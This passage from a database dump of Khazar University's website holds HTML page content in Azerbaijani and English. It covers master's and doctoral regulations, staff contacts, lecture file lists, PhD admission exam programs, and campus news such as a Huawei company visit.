University of Architecture and\r\nConstruction, Azerbaijan University of Languages, Azerbaijan State University\r\nof Culture and Arts,&nbsp; Baku Choreography\r\nAcademy). The author of the text was Vusal Najafov, a student of Azerbaijan\r\nState Economic University, the author of the poems was Jeyhun Huseynli, and the\r\nmusic designer was Aslan Azimzadeh, a student of Azerbaijan State Economic\r\nUniversity.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Qara Qarayev’s\r\ncomposition was used in the play.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">&nbsp;At the end of the event which was greeted with\r\ngreat interest, director Sabina Ismayilova was invited to the stage, and all\r\nthe participants were welcomed with applauses</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees and People’s Artists Rosa Jalilova and Jamila Bayramova highly\r\nappreciated the performance and wished success to all participants.</p>'),(247,116,'az','Normativ sənədlər (magistratura)','Normativ sənədlər (magistratura)','<p style=\"font-size:large;font-family:\'times new roman\', times, serif\"><strong>Hüquqi və normativ sənədlər</strong></p><p><a href=\"http://www.khazar.org/files/master/Ali%20t%C9%99hsilin%20magistratura%20s%C9%99viyy%C9%99si%20%C3%BCzr%C9%99%20ixtisaslar%C4%B1n%20t%C9%99snifat%C4%B1.doc\">&nbsp;Ali təhsilin magistratura səviyyəsi üzrə ixtisasların təsnifatı</a></p><p><a href=\"http://www.khazar.org/files/master/Az%C9%99rbaycan%20Respublikas%C4%B1nda%20%C3%A7oxpill%C9%99li%20ali%20t%C9%99hsil%20sistemind%C9%99%20magistr%20haz%C4%B1rl%C4%B1%C4%9F%C4%B1%20(magistratura)%20haqq%C4%B1nda%20%C9%99sasnam%C9%99.docx\">Magistr hazırlığı haqqında əsasnamə</a></p><p><a href=\"http://www.khazar.org/files/master/Magistr%20t%C9%99l%C9%99b%C9%99l%C9%99rin%20m%C3%BCdafi%C9%99%20prosesi.doc\">Magistr tələbələrin müdafiə prosesi</a></p><p><a href=\"http://www.khazar.org/files/master/Magistratura%20t%C9%99hsilinin%20m%C9%99zmunu%2C%20t%C9%99%C5%9Fkili%20v%C9%99%20magistr%20d%C9%99r%C9%99c%C9%99l%C9%99rinin%20verilm%C9%99si%20qaydalar%C4%B1.docx\">Magistratura təhsilinin məzmunu, təşkili və magistr dərəcələrinin verilməsi qaydaları</a></p><p><a href=\"http://www.khazar.org/files/master/Magistrlik%20dissertasiyas%C4%B1n%C4%B1n%20haz%C4%B1rlanmas%C4%B1%20v%C9%99%20m%C3%BCdafi%C9%99si%20qaydalar%C4%B1%20haqq%C4%B1nda%20%C9%99sasnam%C9%99.docx\">Magistrlik dissertasiyasının hazırlanması və müdafiəsi qaydaları haqqında əsasnamə</a></p><p><a href=\"http://www.khazar.org/files/master/Magistrlik%20dissertasiyas%C4%B1n%C4%B1n%20haz%C4%B1rlanmas%C4%B1%2C%20t%C9%99qdim%20olunmas%C4%B1%20v%C9%99%20m%C3%BCdafi%C9%99si%20qaydalar%C4%B1%20haqq%C4%B1nda%20%C9%99sasnam%C9%99.docx\"></a><a href=\"http://www.khazar.org/files/master/Magistrlik%20dissertasiyas%C4%B1n%C4%B1n%20m%C3%BCdafi%C9%99si%20%C3%BC%C3%A7%C3%BCn%20ixtisasla%C5%9Fd%C4%B1r%C4%B1lm%C4%B1%C5%9F%20elmi%20%C5%9Furalar%20haqq%C4%B1nda%20%C9%99sasnam%C9%99.docx\">Magistrlik dissertasiyasının müdafiəsi üçün ixtisaslaşdırılmış elmi şuralar haqqında əsasnamə</a></p>'),(2014,1225,'az','Xəzər Universitetinin 25 illiyinə həsr olunmuş film Youtube`da','Xəzər Universiteti Multimedia mərkəzinin universitetin 25 illik yubileyi münasibətilə hazırladığı sənədli film Youtube`də yerləşdirilmişdir...','<p>Xəzər Universiteti\r\nMultimedia mərkəzinin universitetin 25 illik yubileyi münasibətilə hazırladığı\r\nsənədli film Youtube`də yerləşdirilmişdir.<strong>\r\n</strong>Filmi bu link vasitəsilə izləmək olar:<a href=\"https://www.youtube.com/playlist?list=PLUBP1kPTxSFrB3YYx7YzXafxlp5MvWX3w\">https://www.youtube.com/playlist?list=PLUBP1kPTxSFrB3YYx7YzXafxlp5MvWX3w</a>  </p>'),(2012,1224,'az','“Dünya” məktəbinin yeni filialı haqqında qısa film hazırlandı','Xəbər verildiyi kimi, bu yaxınlarda Xəzər Universiteti “Dünya” məktəbinin Sumqayıt şəhərində filialı açılmışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Xəbər\r\nverildiyi kimi, bu yaxınlarda Xəzər Universiteti “Dünya” məktəbinin Sumqayıt şəhərində\r\nfilialı açılmışdır. <strong><em>Youtube</em></strong> sosial şəbəkəsində “Dünya” məktəbinin yeni açılmış filialı\r\nhaqqında qısa film yerləşdirilmişdir.<br>\r\nQısa filmi izləmək üçün bu linkə daxil olmaq lazımdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.youtube.com/watch?v=d0IVoRzybEo&amp;feature=youtu.be\">https://www.youtube.com/watch?v=d0IVoRzybEo&amp;feature=youtu.be</a></p>'),(248,117,'az','Nəşrlər','Nəşrlər','<p><strong>2007-2017-ci illər üçün Xəzər Universiteti əməkdaşlarının elmi işləri</strong></p><p style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/master/Humanitar%20v%C9%99%20Sosial%20Elml%C9%99r%20fak%C3%BClt%C9%99si-2007-2011.doc\">Humanitar və Sosial Elmlər fakültəsi-2007-2011</a></p><p style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/master/Impakt%20faktorlu%20jurnallarda%20meqale%20siyahisi-2011-2014%20(2).docx\">İmpakt faktorlu jurnallarda məqalə&nbsp;siyahısı-2011-2014</a></p><p style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/master/%C4%B0qtisadiyyat%20v%C9%99%20Menecment%20fak%C3%BClt%C9%99si-2007-2011.doc\">İqtisadiyyat və Menecment fakültəsi-2007-2011</a></p><p style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/master/M%C3%BCh%C9%99ndislik%20v%C9%99%20T%C9%99tbiqi%20Elml%C9%99r%20fak%C3%BClt%C9%99si-2007-2011.doc\">Mühəndislik və Tətbiqi Elmlər fakültəsi-2007-2011</a></p><p style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/master/Rektor%20v%C9%99%20prorektorlar-2007-2015.doc\">Rektor və prorektorlar-2007-2015</a></p><p style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/Rektor%20v%C9%99%20prorektorlar-2007-2015.doc\"></a><a href=\"http://www.khazar.org/files/master/T%C9%99hsil%20fak%C3%BClt%C9%99si-2007-2011.doc\">Təhsil fakültəsi-2007-2011</a></p><p style=\"font-family:\'times new roman\', times, serif\"><a href=\"http://www.khazar.org/files/master/2011-2017%20PHD%20t%C9%99l%C9%99b%C9%99l%C9%99rin%20%C9%99s%C9%99rl%C9%99ri%20siyah%C4%B1s%C4%B1.docx\">Doktorant və dissertantların elmi nəşrləri-2011-2017</a></p>'),(249,118,'az','İşçi heyət','İşçi heyət','<p><img src=\"http://www.khazar.org/files/philosophy_depart/eldar_s.jpg\" style=\"width:150px;height:199px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/letters/Eldar_Shahgeldiyev-elmi_meqaleler_2018(AAK).pdf\">Eldar&nbsp;Şahgəldiyev</a></strong></p><p><strong>Magistratura, Doktorantura və Elmi İşlər Şöbəsi<a href=\"http://www.khazar.org/az#\"></a>nin müdiri</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eshahgaldiyev[at]khazar.org\">eshahgaldiyev[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p style=\"font-weight:bold\"><strong><strong><a href=\"http://www.khazar.org/files/master/CV-Sabina_Sharifova.pdf\"><img src=\"http://www.khazar.org/files/master/sabina_sharifova.jpg\" style=\"width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Səbinə Şərifova</a></strong></strong></p><p style=\"font-weight:bold\"><strong><strong><strong><strong>Assistent</strong>  </strong></strong></strong></p><p><strong style=\"font-weight:bold\">E-mail:<em>&nbsp;</em></strong><a href=\"mailto:lsalayeva@khazar.org\"></a><a href=\"mailto:ssharifova@khazar.org\">ssharifova[at]khazar.org</a></p>'),(250,119,'az','Sənədlər','Sənədlər','<div><p><br><a href=\"http://www.khazar.org/files/master/List%20of%20documents%20for%20Higher%20Attestation%20Comission.pdf\">Elmi dərəcələr verilməsinə dair attestasiya işinin birinci nüsxəsində AAK-təqdim&nbsp;olunan siyahı</a></p><p><a href=\"http://www.khazar.org/files/master/Thesis%20structure.doc\">Doktorant dissertasiyasının tərtibi qaydaları</a></p><p><a href=\"http://www.khazar.org/files/master/Organization%20of%20Masters%20studies%20.docx\">Magistratura təhsilinin təşkili və magistr dərəcəsinin verilməsi qaydaları</a></p><p><a href=\"http://www.khazar.org/files/master/Magistratura%2C%20Doktorantura%20v%C9%99%20Elmi%20T%C9%99dqiqat%20b%C3%B6lm%C9%99sinin%20%C9%99sasnam%C9%99si%20(1).doc\">Magistratura, Doktorantura və Elmi Tədqiqat bölməsinin əsasnaməsi</a></p><p><a href=\"http://www.khazar.org/files/master/Magistratura%2C%20Doktorantura%20v%C9%99%20Elmi%20T%C9%99dqiqat%20b%C3%B6lm%C9%99sinin%20%C9%99sasnam%C9%99si%20(1).doc\"></a><a href=\"http://www.khazar.org/files/master/Reference%20form%20for%20the%20persons%20who%20had%20not%20completed%20their%20studies%20for%20various%20reasons.docx\">Müxtəlif səbəblərdən təhsilin hər hansı pilləsini başa vurmayan şəxslərə arayışın verilməsi&nbsp;haqqında</a></p><p><a href=\"http://www.khazar.org/files/master/Doktoranturaya%20q%C9%99bul%20%C3%BC%C3%A7%C3%BCn%20s%C9%99n%C9%99dl%C9%99r.docx\">Doktoranturaya qəbul sənədləri</a></p></div>'),(251,120,'az','Ümumi hesabatlar','Ümumi hesabatlar','<p><a href=\"http://www.khazar.org/files/master/Akademik%20d%C3%BCr%C3%BCstl%C3%BCy%C3%BCn%20t%C9%99minat%C4%B1-2015.docx\"><strong>Akademik dürüstlüyün təminatı 2015</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/master/Akademik%20d%C3%BCr%C3%BCstl%C3%BCy%C3%BCn%20t%C9%99minat%C4%B1-2015.docx\"></a><a href=\"http://www.khazar.org/files/master/Coimbra-Seminar%20Report-Eldar%20Shahgaldiyev.doc\">Coimbra seminarı-hesabat-2014</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/master/Coimbra-Seminar%20Report-Eldar%20Shahgaldiyev.doc\"></a><a href=\"http://www.khazar.org/files/master/Elmi%20Hesabat-Milli%20Strategiya%202009-2015.docx\">Milli strategiyanin həyata keçirilməsi ilə bağlı görülmüş işlər 2009-2015</a></strong></p><p><a href=\"http://www.khazar.org/files/master/X%C9%99z%C9%99r%20Universiteti%20Elmi%20hesabat-2013.doc\"><strong>Xəzər Universiteti elmi hesabat-2013</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/master/X%C9%99z%C9%99r%20Universiteti%20Elmi%20hesabat-2013.doc\"></a><a href=\"http://www.khazar.org/files/master/X%C9%99z%C9%99r%20Universiteti%20Elmi%20hesabat-2014.doc\">Xəzər Universiteti elmi hesabat-2014</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/master/X%C9%99z%C9%99r%20Universiteti%20Elmi%20hesabat-2014.doc\"></a><a href=\"http://www.khazar.org/files/master/X%C9%99z%C9%99r%20Universiteti%20Elmi%20hesabat-2015.doc\">Xəzər Universiteti elmi hesabat-2015</a>  <br></strong></p><p><strong><a href=\"http://www.khazar.org/files/master/1.ELMI%20HESABAT%202016%20(son).doc\">Xəzər Universiteti elmi hesabat-2016</a><br></strong></p><p><a href=\"http://www.khazar.org/files/master/ELMI_HESABAT_2017.pdf\"><strong>Xəzər Universiteti elmi hesabat-2017</strong></a></p>'),(252,121,'az','Mühazirələr','Mühazirələr','<p><strong>Hamlet İsaxanlı \"Elm və fəlsəfə tarixi. Qədim dövr\"</strong></p><p><a href=\"http://www.khazar.org/files/master/HI_history_science_philosophy_class1a.pdf\">1-ci mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text%20lecture%201.pdf\">1-ci mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HPS_Lecture_2.pdf\">2-ci mühazirə.&nbsp;Təqdimat</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/master/text%20Lecture_2.pdf\">2-ci mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP_Lecture_3.pdf\">3-cü mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-Lecture%203.pdf\">3-cü mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP-Lecture%204.pdf\">4-cü mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text%20Lecture_4.pdf\">4-cü mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP_Lecture_5.pdf\">5-ci mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text%20Lecture_5.pdf\">5-ci mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP-Lecture%206.pdf\">6-cı mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-lecture%206.pdf\">6-cı mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%207.pdf\">7-ci mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-Lecture-7.pdf\">7-ci mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%208.pdf\">8-ci mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-Lecture-8.pdf\">8-ci mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%209.pdf\">9-cu mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-Lecture-9.pdf\">9-cu muhazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%2010.pdf\">10-cu mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%2010.pdf\">10-cu mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%2011.pdf\">11-ci mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-Lecture-11.pdf\">11-ci mühairzə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%2012.pdf\">12-ci mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-Lecture-12.pdf\">12-ci mühazirə. Mətn</a><br></p><p><a href=\"http://www.khazar.org/files/master/HSP%20Lecture%2013.pdf\">13-cü mühazirə. Təqdimat</a><br></p><p><a href=\"http://www.khazar.org/files/master/text-Lecture-13.pdf\">13-cü mühazirə. Mətn</a><br></p><p><br></p><p><strong><span style=\"font-size:large\">Prof. Məhəmməd Nuriyev&nbsp;“Data Analysis, Modeling and Decision Making”&nbsp;</span> </strong> <br></p><p><a href=\"http://www.khazar.org/files/master/Lecture1-Introduction.pptx\">1-ci mühazirə</a></p><p><a href=\"http://www.khazar.org/files/master/Lecture2-Summary_Measures.pptx\">2-ci mühazirə</a></p><p><a href=\"http://www.khazar.org/files/master/Lecture3-ppt.pptx\">3-cü mühazirə</a></p><p><a href=\"http://www.khazar.org/files/master/lecture4Quality%20ManagementShortened.ppt\">4-cü mühazirə</a></p><p><a href=\"http://www.khazar.org/files/master/lecture5ForecastingPpt.ppt\">5-ci mühazirə</a></p><p><a href=\"http://www.khazar.org/files/master/lecture6simple_lin_regress_inference.ppt\">6-cı mühazirə</a></p><p><br></p><p><strong>Eldar Şahgəldiyev</strong></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%201.doc\">1-ci mühazirə</a>  <br></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%202.doc\">2-ci mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%203.doc\">3-cü mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%204.doc\">4-cü mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%205.doc\">5-ci mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%206.doc\">6-cı mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%207.doc\">7-ci mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%208.doc\">8-ci mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%209.doc\">9-cu mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%2010.doc\">10-cu mühazirə</a></p><p><a href=\"http://www.khazar.org/files/philosophy_depart/Lecture%2011.docx\">11-ci mühazirə</a></p>'),(2008,1222,'az','“Xəzər”in əməkdaşı Babək haqqında kitab yazdı','2015-ci ilin sonlarında Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Ələkbər Ələkbərovun...','<p>2015-ci ilin sonlarında Xəzər Universiteti Tarix\r\nvə arxeologiya departamentinin müəllimi Ələkbər Ələkbərovun “Babək (Xürrəmi\r\nhərəkatının səbəblərinə, qəhrəmanın mənşəyinə dair)” adlı kitabı çap\r\nolunmuşdur. Kitab tarixi şəxsiyyət, Xürrəmi hərəkatının liderlərindən biri olan\r\nBabək Xürrəmdinə həsr edilmişdir.&nbsp;</p>'),(253,122,'az','Sillabuslar (doktorantura)','Sillabuslar (doktorantura)',''),(254,123,'az','Tələbələrimiz','Tələbələrimiz','<p><a href=\"http://www.khazar.org/files/master/UPDATED-DOKTORANTLAR-FINAL-2017-Sep..docx\">Xəzər Universiteti doktorantlar-2017&nbsp;oktyabr</a></p>'),(255,124,'az','Doktorantura Proqramları  və Qəbul','Doktorantura Proqramları  və Qəbul','<h3>2018-2019-cu illər üçün Xəzər Universitetinin doktoranturasına qəbul üçün ixtisas imtahanlarının proqramları</h3>\r\n<p><a href=\"http://www.khazar.org/files/master/Analiz%20v%C9%99%20funksional%20analiz%202018-2019.doc\">1202.01 Analiz və funksional analiz</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Kompyuter%20elml%C9%99ri%202018-2019.doc\">1203.01  Kompüter elmləri</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Diferensial%20t%C9%99nlikl%C9%99r%202018-2019.docx\">1211.01 Diferensial tənliklər</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Biokimya%202018-2019.docx\">2406.02 Biokimya</a>  <br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Molekulyar%20biologiya%202018-2019.doc\">2415.01 Molekulyar biologiya</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Molekulyar%20genetika%202018-2019.docx\">2423.01 Molekulyar genetika</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Neft%20v%C9%99%20qaz%20yataqlar%C4%B1n%C4%B1n%20geologiyas%C4%B1%202018-2019.docx\">2521.01 Neft və qaz yataqlarının geologiyası, axtarışı və kəşfiyyatı</a>  <br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Neft%20v%C9%99%20qaz%20yataqlar%C4%B1n%C4%B1n%20istismar%C4%B1%202018-2019.docx\">2525.01 Neft və qaz yataqlarının işlənməsi və istismarı<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Inshaat%20materiallari%20v%C9%99%20m%C9%99mulatlar%C4%B1%202018-2019.doc\">3305.07 İnşaat materialları və məmulatları</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Sistemli%20Analiz%2C%20%C4%B0dar%C9%99etm%C9%99%20V%C9%99%20%C4%B0nformasiyan%C4%B1n%20%C4%B0%C5%9Fl%C9%99nm%C9%99si%202018-2019.doc\">3338.01&nbsp;Sistemli analiz, idarəetmə və informasiyanın işlənməsi</a>  <br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Daxili%20Fiskal%20Siyas%C9%99t%20v%C9%99%20D%C3%B6vl%C9%99t%20Maliyy%C9%99si%202018-2019.docx\">5301.01 Daxili fiskal siyasət və dövlət maliyyəsi</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/%C3%9Cmumi%20iqtisadiyyat%202018-2019.doc\">5308.01 Ümumi iqtisadiyyat<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/D%C3%BCnya%20iqtisadiyyat%C4%B1%202018-2019.docx\">5310.01 Dünya iqtisadiyyatı<br></a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/M%C3%BC%C9%99ssis%C9%99l%C9%99rin%20t%C9%99%C5%9Fkili%202018-2019.doc\">5311.01 Müəssisələrin təşkili və idarə olunması</a></p>  <p><a href=\"http://www.khazar.org/files/master/NewFolder/Hidrologiya%202018-2019.docx\">5406.01&nbsp;Hidrologiya</a>  <br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/%C3%9Cmumi%20tarix%202018-2019.docx\">5502.01 Ümumi&nbsp;tarix</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/V%C9%99t%C9%99n%20tarixi%202018-2019.docx\">5503.02 Vətən tarixi</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/German%20dill%C9%99ri%202018-2019.doc\">5708.01&nbsp;German dilləri</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/M%C3%BCqayis%C9%99li-tarixi%20v%C9%99%20m%C3%BCqayis%C9%99li-tipoloji%20dil%C3%A7ilik%202018-2019.docx\">5714.01  Müqayisəli-tarixi və\r\nmüqayisəli-tipoloji dilçilik</a><br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Az%C9%99rbaycan%20%C9%99d%C9%99biyyat%C4%B1%202018-2019.doc\">5716.01  Azərbaycan ədəbiyyatı</a><br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/D%C3%BCnya%20%C9%99d%C9%99biyyat%C4%B1%202018-2019.docx\">5718.01 Dünya ədəbiyyatı</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/T%C9%99lim%20v%C9%99%20t%C9%99rbiy%C9%99nin%20n%C9%99z%C9%99riyy%C9%99si%20v%C9%99%20metodikas%C4%B1%202018-2019.docx\">5801.01 Təlim və tərbiyənin nəzəriyyəsi və metodikası</a></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/T%C9%99hsil%20planla%C5%9Fd%C4%B1r%C4%B1lmas%C4%B1%20v%C9%99%20idar%C9%99edilm%C9%99si%202018-2019.docx\">5802.01  Təhsilin təşkili və planlaşdırılması</a><br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/%C3%9Cmumi%20pedaqogika%20v%C9%99%20t%C9%99hsilin%20tarixi%202018-2019.doc\">5804.01  Ümumi pedaqogika, pedaqogikanın və təhsilin tarixi</a><br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Beyn%C9%99lxalq%20m%C3%BCnasib%C9%99tl%C9%99r%202018-2019.doc\">5901.01  Beynəlxalq münasibətlər</a><br></p><p><a href=\"http://www.khazar.org/files/master/NewFolder/Siyasi%20N%C9%99z%C9%99riy%C9%99%202018-2019.doc\">5908.01 Siyasi nəzəriyyə</a></p><p><br></p><p><strong>ƏLAVƏ PROQRAMLAR</strong></p><p><a href=\"http://www.khazar.org/files/master/Xarici%20dil_(ingilis)%202018-2019.doc\">İngilis dili</a></p><p><a href=\"http://www.khazar.org/files/master/Alman%20dili%202018-2019.docx\">Alman dili</a></p><p><a href=\"http://www.khazar.org/files/master/%C3%9Cmumi%20f%C9%99ls%C9%99f%C9%99%202018-2019.doc\">Ümumi fəlsəfə</a></p><p><br></p>'),(5140,2988,'az','“Huawei” şirkətinin nümayəndələri Xəzər Universitetində oldular','2018-ci il fevralın 22-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə “Huawei” şirkəti...','<p>2018-ci il fevralın 22-də Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə “Huawei” şirkəti ilə görüş keçirildi. Şirkətin Şəbəkə texnologiyası departamentinin direktoru Eldəniz Hüseynov öz çıxışında şirkətin qısa tarixi, daxili strukturu, missiyası və hazırkı mövqeyi ilə bağlı ətraflı məlumat verdi.</p><p>Daha sonra isə şirkətin İnsan Resursları meneceri İradə Rəsulova öz çıxışında tələbələri təcrübə və işə qəbul prosesi ilə bağlı məlumatlandırdı.</p><p>Yekunda tələbələrin sualları cavablandırıldı və mövcud vakansiyalarla bağlı ümumi formada məlumat bildirildi.</p><p>Qeyd edək ki, 2014-cü ilin sonuna doğru, “Huawei” məhsulları və xidmətləri 170-dən artıq ölkədə istifadə olunaraq, dünya əhalisinin üçdə birinə xidmət edir. İnformasiya və kommunikasiya texnologiyaları (İKT) sahəsində 20 ildən çox zəngin biznes təcrübəsinə malik olan və geniş qlobal biznes əməliyyatları və partnyorları olan iri qlobal şəbəkə olan “Huawei” Consumer BG ən son texnologiyaları istehlakçılara çatdırmaq, geniş imkanlar təklif etmək, unikal təcrübələr yaratmaq və hər yerdə insanların arzularını reallaşdırmaq missiyasını daşıyır.</p>'),(256,125,'az','Linklər','Linklər','<p><strong><a href=\"http://graduate-school.phds.org/education-index\" target=\"_blank\">Graduate-School.PhDs.org/education-index</a>&nbsp;</strong></p><p><strong><a href=\"http://graduate-school.phds.org/education-index\" target=\"_blank\"></a><a href=\"http://crrc.az/upload/Beledci%20Son_22.08.14.pdf\">QTRM-ın Akademik yazı üzrə bələdçisi</a>&nbsp;</strong></p><p><a href=\"http://www.khazar.org/files/Elmi-pedaqoji%20kadrlar%C4%B1n%20haz%C4%B1rlanmas%C4%B1.docx\"><strong>Elmi-pedaqoji kadrların hazırlanması</strong></a></p>'),(257,126,'az','Müəllim Heyəti','Müəllim Heyəti','<p><a href=\"http://www.khazar.org/files/master/Hamlet%20Isaxanli%20short%20CV%20(eng)%20Feb%202016.doc\"><strong>Professor Hamlet İsaxanlı</strong></a></p><p><a href=\"http://www.khazar.org/files/master/Mahammad_Nuriyev_CV.pdf\"><strong>Professor Məhəmməd Nuriyev</strong></a></p><p><a href=\"http://www.khazar.org/files/master/CV%20-PHD-%20Eldar%20Shahgaldiyev%20last%20version.doc\"><strong>F.e.f.d. Eldar Şahgəldiyev</strong></a></p><p><a href=\"http://www.khazar.org/files/master/CVGaniyeva2014.pdf\"><strong>P.e.f.d. Lalə Qəniyeva</strong></a></p><p><a href=\"http://www.khazar.org/files/master/Vafa_Aslanova.pdf\"><strong>Vəfa Aslanova</strong></a></p><p><a href=\"http://www.khazar.org/files/master/Eynur%20Mehdiyev%20CV.pdf\"><strong>Eynur Mehdiyev</strong></a></p>'),(258,19,'az','Akademik Departamentlər','Akademik Departamentlər','<p><a href=\"http://www.khazar.org/az/menus/117/azerbaycan_dili_ve_edebiyyati\">Azərbaycan\r\nDili və Ədəbiyyatı</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/118/biotibbi_muhendislik\">Biotibbi Mühəndislik</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/119/bioloji_elmler\">Bioloji Elmlər</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/121/inshaat_muhendisliyi\">İnşaat Mühəndisliyi</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/122/kimya_muhendisliyi_ve_tetbiqi_kimya\">Kimya\r\nmühəndisliyi və Tətbiqi Kimya</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/123/komputer_elmleri_ve_komputer_muhendisliyi\">Kompüter\r\nelmləri və Kompüter mühəndisliyi</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/124/diller_ve_medeniyyetler\">Dillər və Mədəniyyətlər</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/125/iqtisadiyyat_ve_menecment\">İqtisadiyyat\r\nvə Menecment</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/126/tehsil\">Təhsil</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/127/ingilis_dili_ve_edebiyyati\">İngilis\r\nDili və Ədəbiyyatı</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/128/elektronika_ve_telekommunikasiya\">Elektronika\r\nvə Telekommunikasiya</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/129/coghrafiya_ve_etraf_muhit\">Coğrafiya və\r\nƏtraf Mühit</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/130/tarix_ve_arxeologiya\">Tarix və\r\nArxeologiya</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/131/jurnalistika\">Jurnalistika</a> </p>\r\n<p><a href=\"http://www.khazar.org/az/menus/132/huquq\">Hüquq</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/1105/mexanika_muhendisliyi\">Mexanika Mühəndisliyi</a></p>\r\n<p><a 